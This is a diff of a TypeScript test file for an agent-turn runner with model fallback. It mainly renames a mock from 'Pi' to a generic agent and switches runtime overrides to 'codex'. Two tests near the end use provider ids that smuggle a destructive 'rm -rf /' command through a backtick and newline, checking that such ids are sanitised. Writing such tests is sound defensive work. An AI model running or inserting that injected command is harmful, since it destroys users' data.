describe("runAgentTurnWithFallback", () => { attempts: [], }; }); - state.runEmbeddedPiAgentMock + state.runEmbeddedAgentMock .mockImplementationOnce(async () => { throw new LiveSessionModelSwitchError({ provider: "openai", @@ -1742,7 +1754,7 @@ describe("runAgentTurnWithFallback", () => { expect(result.kind).toBe("success"); expect(attemptedProviders).toEqual(["anthropic", "openai"]); - expectMockCallArgFields(state.runEmbeddedPiAgentMock, 1, "embedded run", { + expectMockCallArgFields(state.runEmbeddedAgentMock, 1, "embedded run", { provider: "openai", model: "gpt-5.4", authProfileId: "openai:primary", @@ -2290,7 +2302,7 @@ describe("runAgentTurnWithFallback", () => { model: "claude-sonnet-4-7", attempts: [], })); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { const realAgentEvents = await vi.importActual( "../../infra/agent-events.js", ); @@ -2394,7 +2406,7 @@ describe("runAgentTurnWithFallback", () => { model: "gpt-5.4", attempts: [], })); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "fallback" }], meta: {}, }); @@ -2423,10 +2435,10 @@ describe("runAgentTurnWithFallback", () => { expect(result.kind).toBe("success"); expect(state.runCliAgentMock).not.toHaveBeenCalled(); - expect(state.runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); + expect(state.runEmbeddedAgentMock).toHaveBeenCalledOnce(); expect( requireRecord( - requireMockCall(state.runEmbeddedPiAgentMock, 0, "embedded run params")[0], + requireMockCall(state.runEmbeddedAgentMock, 0, "embedded run params")[0], "embedded run params", ), ).not.toHaveProperty("agentHarnessId", "claude-cli"); @@ -2439,7 +2451,7 @@ describe("runAgentTurnWithFallback", () => { model: "gpt-5.4", attempts: [], })); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "openai" }], meta: {}, }); @@ -2455,35 +2467,35 @@ describe("runAgentTurnWithFallback", () => { ({ sessionId: "session", updatedAt: Date.now(), - agentRuntimeOverride: "pi", + agentRuntimeOverride: "codex", }) as SessionEntry, }); expect(result.kind).toBe("success"); - expectMockCallArgFields(state.runEmbeddedPiAgentMock, 0, "embedded run params", { + expectMockCallArgFields(state.runEmbeddedAgentMock, 0, "embedded run params", { provider: "openai", model: "gpt-5.4", - agentHarnessId: "pi", + agentHarnessId: "codex", }); }); - it("honors Pi session runtime overrides before CLI runtime aliases", async () => { + it("honors agent session runtime overrides before CLI runtime aliases", async () => { state.isCliProviderMock.mockImplementation((provider: unknown) => provider === "claude-cli"); state.runWithModelFallbackMock.mockImplementationOnce(async (params: FallbackRunnerParams) => ({ - result: await params.run("anthropic", "claude-opus-4-7"), - provider: "anthropic", - model: "claude-opus-4-7", + result: await params.run("openai", "gpt-5.4"), + provider: "openai", + model: "gpt-5.4", attempts: [], })); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ - payloads: [{ text: "pi" }], + state.runEmbeddedAgentMock.mockResolvedValueOnce({ + payloads: [{ text: "agent" }], meta: {}, }); const runAgentTurnWithFallback = await getRunAgentTurnWithFallback(); const followupRun = createFollowupRun(); - followupRun.run.provider = "anthropic"; - followupRun.run.model = "claude-opus-4-7"; + followupRun.run.provider = "openai"; + followupRun.run.model = "gpt-5.4"; followupRun.run.config = { agents: { defaults: { @@ -2498,22 +2510,22 @@ describe("runAgentTurnWithFallback", () => { ({ sessionId: "session", updatedAt: Date.now(), - agentRuntimeOverride: "pi", + agentRuntimeOverride: "codex", }) as SessionEntry, }); expect(result.kind).toBe("success"); expect(state.runCliAgentMock).not.toHaveBeenCalled(); - expectMockCallArgFields(state.runEmbeddedPiAgentMock, 0, "embedded run params", { - provider: "anthropic", - model: "claude-opus-4-7", - agentHarnessId: "pi", + expectMockCallArgFields(state.runEmbeddedAgentMock, 0, "embedded run params", { + provider: "openai", + model: "gpt-5.4", + agentHarnessId: "codex", }); }); it("forwards media-only tool results without typing text", async () => { const onToolResult = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onToolResult?.({ mediaUrls: ["/tmp/generated.png"] }); return { payloads: [{ text: "final" }], meta: {} }; }); @@ -2563,7 +2575,7 @@ describe("runAgentTurnWithFallback", () => { }); it("surfaces model capacity errors from no-text mid-turn failures", async () => { - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "thinking", isReasoning: true }], meta: { error: { @@ -2653,7 +2665,7 @@ describe("runAgentTurnWithFallback", () => { const followupRun = createFollowupRun(); followupRun.run.provider = "openai-codex"; followupRun.run.model = "gpt-5.4"; - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [ { text: "agent stopped after repeated plan-only turns without taking a concrete action.", @@ -2738,7 +2750,7 @@ describe("runAgentTurnWithFallback", () => { params.directlySentBlockKeys?.add("block:1"); }, ); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onBlockReply?.({ text: "streamed block" }); return { payloads: [], meta: {} }; }); @@ -2857,7 +2869,7 @@ describe("runAgentTurnWithFallback", () => { compactionCount: 0, }; const activeSessionStore = { main: sessionEntry }; - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ payloads: [], meta: {} }); + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [], meta: {} }); state.runWithModelFallbackMock.mockImplementationOnce(async (params: FallbackRunnerParams) => { const failedResult = await params.run("openai-codex", "gpt-5.4"); expect(sessionEntry.providerOverride).toBe("openai-codex"); @@ -2896,7 +2908,7 @@ describe("runAgentTurnWithFallback", () => { it("strips a glued leading NO_REPLY token from streamed tool results", async () => { const onToolResult = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onToolResult?.({ text: "NO_REPLYThe user is saying hello" }); return { payloads: [{ text: "final" }], meta: {} }; }); @@ -2944,7 +2956,7 @@ describe("runAgentTurnWithFallback", () => { } delivered.push(payload.text ?? ""); }); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { void params.onToolResult?.({ text: "first", mediaUrls: [] }); void params.onToolResult?.({ text: "second", mediaUrls: [] }); return { payloads: [{ text: "final" }], meta: {} }; @@ -2989,7 +3001,7 @@ describe("runAgentTurnWithFallback", () => { await new Promise((resolve) => setTimeout(resolve, delay)); deliveryOrder.push(payload.text ?? ""); }); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { void params.onToolResult?.({ text: "first", mediaUrls: [] }); void params.onToolResult?.({ text: "second", mediaUrls: [] }); return { payloads: [{ text: "final" }], meta: {} }; @@ -3029,7 +3041,7 @@ describe("runAgentTurnWithFallback", () => { it("forwards item lifecycle events to reply options", async () => { const onItemEvent = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "item", data: { @@ -3088,7 +3100,7 @@ describe("runAgentTurnWithFallback", () => { it("skips channel item progress when a matching tool event carries the progress", async () => { const onItemEvent = vi.fn(); const onToolStart = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "item", data: { @@ -3136,7 +3148,7 @@ describe("runAgentTurnWithFallback", () => { it("preserves suppressed item progress when no tool-start callback is registered", async () => { const onItemEvent = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "item", data: { @@ -3184,7 +3196,7 @@ describe("runAgentTurnWithFallback", () => { it("forwards raw tool progress detail mode to tool-start reply options", async () => { const onToolStart = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "tool", data: { @@ -3215,7 +3227,7 @@ describe("runAgentTurnWithFallback", () => { }); }); - it("fires tool-start progress before slow typing signals resolve for best-effort Pi events", async () => { + it("fires tool-start progress before slow typing signals resolve for best-effort agent events", async () => { const onToolStart = vi.fn(async () => {}); let releaseTyping: (() => void) | undefined; const typingSignals = createMockTypingSignaler(); @@ -3225,7 +3237,7 @@ describe("runAgentTurnWithFallback", () => { releaseTyping = resolve; }), ); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { void params.onAgentEvent?.({ stream: "tool", data: { @@ -3266,7 +3278,7 @@ describe("runAgentTurnWithFallback", () => { it("leaves Codex app-server telemetry publication to the harness", async () => { const agentEvents = await import("../../infra/agent-events.js"); const emitAgentEvent = vi.mocked(agentEvents.emitAgentEvent); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "codex_app_server.guardian", sessionKey: "agent:main:subagent:codex-child", @@ -3312,7 +3324,7 @@ describe("runAgentTurnWithFallback", () => { it("emits an embedded lifecycle terminal backstop when the runner returns without one", async () => { const agentEvents = await import("../../infra/agent-events.js"); const emitAgentEvent = vi.mocked(agentEvents.emitAgentEvent); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "lifecycle", data: { phase: "start", startedAt: 1_000 }, @@ -3375,7 +3387,7 @@ describe("runAgentTurnWithFallback", () => { it("does not duplicate embedded lifecycle terminal events already reported by the runner", async () => { const agentEvents = await import("../../infra/agent-events.js"); const emitAgentEvent = vi.mocked(agentEvents.emitAgentEvent); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "lifecycle", data: { phase: "start", startedAt: 1_000 }, @@ -3425,7 +3437,7 @@ describe("runAgentTurnWithFallback", () => { model: "gpt-5.4", attempts: [], })); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async () => ({ + state.runEmbeddedAgentMock.mockImplementationOnce(async () => ({ payloads: [ { text: [ @@ -3495,7 +3507,7 @@ describe("runAgentTurnWithFallback", () => { "Third, code fences and richer structured outputs are left untouched so technical answers stay intact.", "Finally, the overlay reinforces that this is a live chat and nudges the model toward short natural replies.", ].join(" "); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async () => ({ + state.runEmbeddedAgentMock.mockImplementationOnce(async () => ({ payloads: [{ text: longDetailedReply }], meta: {}, })); @@ -3538,7 +3550,7 @@ describe("runAgentTurnWithFallback", () => { const onApprovalEvent = vi.fn(); const onCommandOutput = vi.fn(); const onPatchSummary = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "plan", data: { @@ -3675,7 +3687,7 @@ describe("runAgentTurnWithFallback", () => { await itemEventGate; }); const onCommandOutput = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "tool", data: { @@ -3761,7 +3773,7 @@ describe("runAgentTurnWithFallback", () => { it("keeps progress callbacks active after message-tool-only reads", async () => { const onItemEvent = vi.fn(); const onCommandOutput = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "tool", data: { @@ -3848,7 +3860,7 @@ describe("runAgentTurnWithFallback", () => { it("keeps compaction start notices silent by default", async () => { const onBlockReply = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "compaction", data: { phase: "start" } }); return { payloads: [{ text: "final" }], meta: {} }; }); @@ -3885,7 +3897,7 @@ describe("runAgentTurnWithFallback", () => { const onBlockReply = vi.fn(); const onCompactionStart = vi.fn(); const onCompactionEnd = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "compaction", data: { phase: "start" } }); await params.onAgentEvent?.({ stream: "compaction", @@ -3930,7 +3942,7 @@ describe("runAgentTurnWithFallback", () => { it("emits a compaction start notice when notifyUser is enabled", async () => { const onBlockReply = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "compaction", data: { phase: "start" } }); return { payloads: [{ text: "final" }], meta: {} }; }); @@ -3982,7 +3994,7 @@ describe("runAgentTurnWithFallback", () => { it("emits a compaction completion notice when notifyUser is enabled", async () => { const onBlockReply = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "compaction", data: { phase: "start" } }); await params.onAgentEvent?.({ stream: "compaction", @@ -4043,7 +4055,7 @@ describe("runAgentTurnWithFallback", () => { it("delivers compaction hook messages without duplicating notifyUser notices", async () => { const onBlockReply = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "compaction", data: { phase: "start", messages: ["Hook before"] }, @@ -4109,7 +4121,7 @@ describe("runAgentTurnWithFallback", () => { it("prefers onCompactionEnd callback over default notice when notifyUser is enabled", async () => { const onBlockReply = vi.fn(); const onCompactionEnd = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "compaction", data: { phase: "start" } }); await params.onAgentEvent?.({ stream: "compaction", @@ -4166,7 +4178,7 @@ describe("runAgentTurnWithFallback", () => { it("emits an incomplete compaction notice when compaction ends without completing", async () => { const onBlockReply = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: EmbeddedAgentParams) => { await params.onAgentEvent?.({ stream: "compaction", data: { phase: "start" } }); await params.onAgentEvent?.({ stream: "compaction", @@ -4569,7 +4581,7 @@ describe("runAgentTurnWithFallback", () => { }); it("uses compact generic copy for raw external chat errors when verbose is off", async () => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error("INVALID_ARGUMENT: some other failure"), ); @@ -4604,7 +4616,7 @@ describe("runAgentTurnWithFallback", () => { }); it("uses heartbeat failure copy for raw external errors during heartbeat runs", async () => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error('Command lane "main" task timed out after 120000ms'), ); @@ -4702,7 +4714,7 @@ describe("runAgentTurnWithFallback", () => { ); it("forwards sanitized generic errors on external chat channels when verbose is on", async () => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error("INVALID_ARGUMENT: some other failure"), ); @@ -4741,7 +4753,7 @@ describe("runAgentTurnWithFallback", () => { it.each(["group", "channel"] as const)( "keeps raw runner failure boilerplate out of Discord %s chats", async (chatType) => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error("openai-codex/gpt-5.5 ended with an incomplete terminal response"), ); @@ -4769,7 +4781,7 @@ describe("runAgentTurnWithFallback", () => { it.each(["group", "channel"] as const)( "surfaces raw runner failure copy in Discord %s chats when silentReply.group is set to disallow", async (chatType) => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error("openai-codex/gpt-5.5 ended with an incomplete terminal response"), ); @@ -4806,7 +4818,7 @@ describe("runAgentTurnWithFallback", () => { ); it("surfaces raw runner failure copy when per-surface silentReply.group is set to disallow", async () => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error("openai-codex/gpt-5.5 ended with an incomplete terminal response"), ); @@ -4851,7 +4863,7 @@ describe("runAgentTurnWithFallback", () => { // Sanity check: explicit `{}` config (no silentReply) must still resolve // to the documented default `group: "allow"` and produce a silent payload // — the new policy hookup must not regress the default behavior. - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error("openai-codex/gpt-5.5 ended with an incomplete terminal response"), ); @@ -4883,7 +4895,7 @@ describe("runAgentTurnWithFallback", () => { it.each(["group", "channel"] as const)( "keeps classified non-transient failures visible in Discord %s chats", async (chatType) => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error('No API key found for provider "openai"'), ); @@ -4912,7 +4924,7 @@ describe("runAgentTurnWithFallback", () => { it.each(["group", "channel"] as const)( "keeps rate-limit fallback copy out of Discord %s chats", async (chatType) => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce(new Error("429 rate limit exceeded")); + state.runEmbeddedAgentMock.mockRejectedValueOnce(new Error("429 rate limit exceeded")); const runAgentTurnWithFallback = await getRunAgentTurnWithFallback(); const result = await runAgentTurnWithFallback( @@ -4936,7 +4948,7 @@ describe("runAgentTurnWithFallback", () => { ); it("surfaces rate-limit fallback copy in Discord group chats when silentReply.group is disallow", async () => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce(new Error("429 rate limit exceeded")); + state.runEmbeddedAgentMock.mockRejectedValueOnce(new Error("429 rate limit exceeded")); const followupRun = createFollowupRun(); followupRun.run.config = { @@ -4970,7 +4982,7 @@ describe("runAgentTurnWithFallback", () => { }); it("uses compact generic copy for raw runner failures in normal Discord direct chats", async () => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error("openai-codex/gpt-5.5 ended with an incomplete terminal response"), ); @@ -4993,7 +5005,7 @@ describe("runAgentTurnWithFallback", () => { }); it("keeps raw runner failure guidance visible in verbose Discord direct chats", async () => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error("openai-codex/gpt-5.5 ended with an incomplete terminal response"), ); @@ -5018,7 +5030,7 @@ describe("runAgentTurnWithFallback", () => { }); it("formats raw Codex API payloads before forwarding verbose external errors", async () => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error( 'Codex error: {"type":"error","error":{"type":"server_error","message":"Something exploded"},"sequence_number":2}', ), @@ -5058,7 +5070,7 @@ describe("runAgentTurnWithFallback", () => { it("preserves the active session when embedded overflow recovery fails", async () => { state.isContextOverflowErrorMock.mockReturnValue(true); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [], meta: { error: { @@ -5106,7 +5118,7 @@ describe("runAgentTurnWithFallback", () => { it("preserves the active session when compaction failure is thrown before reply", async () => { state.isCompactionFailureErrorMock.mockReturnValue(true); - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error("Auto-compaction failed: nothing to compact"), ); @@ -5151,7 +5163,7 @@ describe("runAgentTurnWithFallback", () => { await params.run("custom", "uncataloged-32k"); throw new Error("expected fallback candidate to throw"); }); - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error("Auto-compaction failed: nothing to compact"), ); @@ -5181,7 +5193,7 @@ describe("runAgentTurnWithFallback", () => { }); it("surfaces gateway reauth guidance for known OAuth refresh failures", async () => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error( "OAuth token refresh failed for openai-codex: refresh_token_reused. Please try again or re-authenticate.", ), @@ -5220,7 +5232,7 @@ describe("runAgentTurnWithFallback", () => { }); it("surfaces direct provider auth guidance for missing API keys", async () => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error( 'No API key found for provider "openai". You are authenticated with OpenAI Codex OAuth; OpenAI agent model runs use openai/gpt-* through the Codex runtime. Set OPENAI_API_KEY only for direct OpenAI API-key surfaces. | No API key found for provider "openai". You are authenticated with OpenAI Codex OAuth; OpenAI agent model runs use openai/gpt-* through the Codex runtime. Set OPENAI_API_KEY only for direct OpenAI API-key surfaces.', ), @@ -5259,7 +5271,7 @@ describe("runAgentTurnWithFallback", () => { }); it("falls back to a generic provider message for unsafe missing-key provider ids", async () => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error('No API key found for provider "openai`\nrm -rf /".'), ); @@ -5296,7 +5308,7 @@ describe("runAgentTurnWithFallback", () => { }); it("falls back to a generic reauth command when the provider in the OAuth error is unsafe", async () => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error( "OAuth token refresh failed for openai-codex`\nrm -rf /: invalid_grant. Please try again or re-authenticate.", ), @@ -5335,7 +5347,7 @@ describe("runAgentTurnWithFallback", () => { }); it("returns a session reset hint for Bedrock tool mismatch errors on external chat channels", async () => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error( "The number of toolResult blocks at messages.186.content exceeds the number of toolUse blocks of previous turn.", ), @@ -5372,7 +5384,7 @@ describe("runAgentTurnWithFallback", () => { }); it("returns a provider conversation-state error for OpenAI missing custom tool output errors on external chat channels", async () => { - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error("Custom tool call output is missing for call id: call_live_123."), ); @@ -5408,7 +5420,7 @@ describe("runAgentTurnWithFallback", () => { it("does not auto-reset role-ordering provider conversation-state errors", async () => { const resetSessionAfterRoleOrderingConflict = vi.fn(async () => true); - state.runEmbeddedPiAgentMock.mockRejectedValueOnce(new Error("400 Incorrect role information")); + state.runEmbeddedAgentMock.mockRejectedValueOnce(new Error("400 Incorrect role information")); const runAgentTurnWithFallback = await getRunAgentTurnWithFallback(); const result = await runAgentTurnWithFallback({ @@ -5443,7 +5455,7 @@ describe("runAgentTurnWithFallback", () => { it("keeps raw generic errors on internal control surfaces", async () => { state.isInternalMessageChannelMock.mockReturnValue(true); - state.runEmbeddedPiAgentMock.mockRejectedValueOnce( + state.runEmbeddedAgentMock.mockRejectedValueOnce( new Error("INVALID_ARGUMENT: some other failure"), ); @@ -5493,7 +5505,7 @@ describe("runAgentTurnWithFallback", () => { attempts: [], }), ); - state.runEmbeddedPiAgentMock + state.runEmbeddedAgentMock .mockImplementationOnce(async () => { throw new LiveSessionModelSwitchError({ provider: "openai", @@ -5539,7 +5551,7 @@ describe("runAgentTurnWithFallback", () => { }); expect(result.kind).toBe("success"); - expect(state.runEmbeddedPiAgentMock).toHaveBeenCalledTimes(2); + expect(state.runEmbeddedAgentMock).toHaveBeenCalledTimes(2); expect(followupRun.run.provider).toBe("openai"); expect(followupRun.run.model).toBe("gpt-5.4"); }); @@ -5560,7 +5572,7 @@ describe("runAgentTurnWithFallback", () => { }; }, ); - state.runEmbeddedPiAgentMock.mockImplementation(async () => { + state.runEmbeddedAgentMock.mockImplementation(async () => { throw new LiveSessionModelSwitchError({ provider: "openai", model: "gpt-5.4", @@ -5621,7 +5633,7 @@ describe("runAgentTurnWithFallback", () => { }; }, ); - state.runEmbeddedPiAgentMock + state.runEmbeddedAgentMock .mockImplementationOnce(async () => { throw new LiveSessionModelSwitchError({ provider: "openai", @@ -5678,7 +5690,7 @@ describe("runAgentTurnWithFallback", () => { // Two switches (within the limit of 2) then success on third attempt expect(result.kind).toBe("success"); - expect(state.runEmbeddedPiAgentMock).toHaveBeenCalledTimes(3); + expect(state.runEmbeddedAgentMock).toHaveBeenCalledTimes(3); expect(followupRun.run.provider).toBe("openai"); expect(followupRun.run.model).toBe("gpt-5.4"); expect(followupRun.run.authProfileId).toBe("profile-c"); @@ -5701,7 +5713,7 @@ describe("runAgentTurnWithFallback", () => { authProfileOverrideSource: "user", }; const sessionStore = { main: sessionEntry }; - state.runEmbeddedPiAgentMock.mockImplementationOnce(async () => { + state.runEmbeddedAgentMock.mockImplementationOnce(async () => { sessionEntry.providerOverride = "zai"; sessionEntry.modelOverride = "glm-5"; sessionEntry.authProfileOverride = "zai:work"; @@ -5752,7 +5764,7 @@ describe("runAgentTurnWithFallback", () => { attempts: [], }), ); - state.runEmbeddedPiAgentMock.mockResolvedValue({ + state.runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "ok" }], meta: {}, }); @@ -5797,8 +5809,8 @@ describe("runAgentTurnWithFallback", () => { }); expect(result.kind).toBe("success"); - expect(state.runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); - expectMockCallArgFields(state.runEmbeddedPiAgentMock, 0, "embedded run params", { + expect(state.runEmbeddedAgentMock).toHaveBeenCalledTimes(1); + expectMockCallArgFields(state.runEmbeddedAgentMock, 0, "embedded run params", { provider: "openai-codex", model: "gpt-5.4", authProfileId: undefined, @@ -5826,7 +5838,7 @@ describe("runAgentTurnWithFallback", () => { attempts: [], }), ); - state.runEmbeddedPiAgentMock.mockResolvedValue({ + state.runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "ok" }], meta: {}, }); @@ -5888,7 +5900,7 @@ describe("runAgentTurnWithFallback", () => { attempts: [], }), ); - state.runEmbeddedPiAgentMock.mockResolvedValue({ + state.runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "ok" }], meta: {}, }); @@ -5955,7 +5967,7 @@ describe("runAgentTurnWithFallback", () => { attempts: [], }), ); - state.runEmbeddedPiAgentMock.mockResolvedValue({ + state.runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "ok" }], meta: {}, }); @@ -6090,7 +6102,7 @@ describe("runAgentTurnWithFallback", () => { attempts: [], }; }); - state.runEmbeddedPiAgentMock.mockImplementationOnce( + state.runEmbeddedAgentMock.mockImplementationOnce( async (args: { onAssistantErrorMessagePersisted?: (message: { role: "assistant"; @@ -6106,8 +6118,8 @@ describe("runAgentTurnWithFallback", () => { throw new Error("upstream 500"); }, ); - state.runEmbeddedPiAgentMock.mockRejectedValueOnce(new Error("upstream 500")); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockRejectedValueOnce(new Error("upstream 500")); + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "ok" }], meta: {}, }); @@ -6115,14 +6127,14 @@ describe("runAgentTurnWithFallback", () => { const runAgentTurnWithFallback = await getRunAgentTurnWithFallback(); await runAgentTurnWithFallback(createMinimalRunAgentTurnParams()); - expect(state.runEmbeddedPiAgentMock).toHaveBeenCalledTimes(3); - expectMockCallArgFields(state.runEmbeddedPiAgentMock, 0, "primary candidate", { + expect(state.runEmbeddedAgentMock).toHaveBeenCalledTimes(3); + expectMockCallArgFields(state.runEmbeddedAgentMock, 0, "primary candidate", { suppressAssistantErrorPersistence: false, }); - expectMockCallArgFields(state.runEmbeddedPiAgentMock, 1, "first fallback candidate", { + expectMockCallArgFields(state.runEmbeddedAgentMock, 1, "first fallback candidate", { suppressAssistantErrorPersistence: true, }); - expectMockCallArgFields(state.runEmbeddedPiAgentMock, 2, "second fallback candidate", { + expectMockCallArgFields(state.runEmbeddedAgentMock, 2, "second fallback candidate", { suppressAssistantErrorPersistence: true, }); }); @@ -6139,7 +6151,7 @@ describe("runAgentTurnWithFallback", () => { }; }); 